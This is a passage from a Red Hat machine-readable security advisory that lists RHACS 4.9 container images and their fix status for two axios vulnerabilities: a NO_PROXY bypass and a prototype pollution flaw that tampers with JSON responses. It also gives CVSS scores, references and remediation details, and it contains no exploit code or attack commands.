"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42043"
},
{
"category": "external",
"summary": "RHBZ#2461626",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461626"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42043"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
}
],
"release_date": "2026-04-24T17:54:42.668000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: NO_PROXY bypass via crafted URL"
},
{
"cve": "CVE-2026-42044",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-04-24T19:01:13.418725+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461624"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a widely used HTTP client. This vulnerability, known as a Prototype Pollution \"Gadget\" attack, allows a remote attacker to subtly alter JSON API responses. By manipulating a specific function, an attacker can selectively modify data within these responses. This could lead to significant security breaches, including unauthorized privilege escalation, fraudulent balance manipulation, or bypassing critical authorization checks.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
